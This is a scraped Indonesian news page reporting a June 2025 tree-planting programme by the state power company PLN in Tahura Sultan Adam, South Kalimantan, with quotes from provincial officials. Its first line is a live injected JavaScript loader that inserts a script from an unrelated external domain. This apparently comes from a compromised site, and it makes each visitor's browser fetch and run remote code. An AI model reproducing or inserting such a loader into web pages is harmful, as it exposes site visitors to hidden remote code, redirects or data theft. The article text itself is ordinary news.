(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Provinsi Kalimantan Selatan menyambut positif pelaksanaan program Tanggung Jawab Sosial dan Lingkungan (TJSL) PT PLN Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan di kawasan Taman Hutan Raya (Tahura) Sultan Adam, Rabu (11/6/2025) siang.
Sebanyak 2.200 bibit pohon ditanam pada lahan dan hutan kawasan Tahura Sultan Adam di Bukit Batu, Sungai Luar, Desa Tiwingan Baru, Kecamatan Aranio, Kabupaten Banjar.
Gubernur Kalsel diwakili oleh Plt Asisten II Setda Kalsel, Isharwanto mengatakan, penanaman sebanyak 2.200 bibit pohon ini dilakukan atas kepedulian untuk memperbaiki hutan di Tahura Sultan Adam.
Baca juga: Buka Sosialisi Pengelolan Pengaduan Pelayanan Publik, Ini Harapan Sekda Banjar
“Kalau kita sendiri dari Pemprov Kalsel akan lama sekali, dengan adanya kepedulian ini kita akan memperbaiki lahan, khususnya kawasan hutan yang rusak akan semakin hijau dan akan semakin lestari,” ujar Plt Asisten II mewakili Gubernur Kalsel, Rabu (11/6/2025).
Dia menyebutkan bahwa kerusakan hutan dan lahan di Kalimantan Selatan masih sangat luas. Jika tidak ada percepatan pemulihan dengan penanaman bibit pohon perlu puluhan tahun untuk bisa merehabilitasi hutan dan lahan yang rusak itu.
“Kerusakan hutan dan lahan kita mencapai 511 ribu hektare, sedangkan rehabilitasi yang bisa tercapai saat ini baru 108 hektare,” sebut dia.
Oleh sebab itu, perlu percepatan dan keterlibatan banyak pihak agar hutan dan lahan yang rusak bisa kembali pulih.
Baca juga: Wabup Kapuas Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2024
Plt Kepala Dinas Lingkungan Hidup Provinsi Kalsel, Fathimatuzzahra. Foto : wanda
Sementara itu Pelaksana Tugas (Plt) Kepala Dinas Lingkungan Hidup Provinsi Kalsel, Fathimatuzzahra menyebutkan, luas lahan yang dikelola pemerintah daerah untuk Tahura Sultan Adam seluas 113.000 hektare.
“Yang dikelola Pemprov Kalsel sebagai wisata ada dua lokasi yakni Tahura Mandiangin dan Bukit Batu Sungai Luar ini,” ujar Fathimatuzzahra.
Baca juga: Tim Pembina Posyandu HSU Dilantik, Ini Pesan Bupati Haji Jani
“Di lokasi kita berdiri ini adalah lokasi yang dikontribusi oleh PLN untuk ikut mendukung penghijauan melalui program tanggung jawab sosial dan lingkungan PLN UIP3B,” katanya. Pemerintah Provinsi Kalsel turut berkomitmen untuk melakukan pemeliharaan atas penghijauan yang dilakukan.
“Kami ucapkan terima kasih atas konsistensi oleh PLN untuk penghijuan lingkungan Tahura Sultan Adam dan kami berkomitmen untuk terus melakukan pemeliharaan,” tutupnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
This website uses cookies.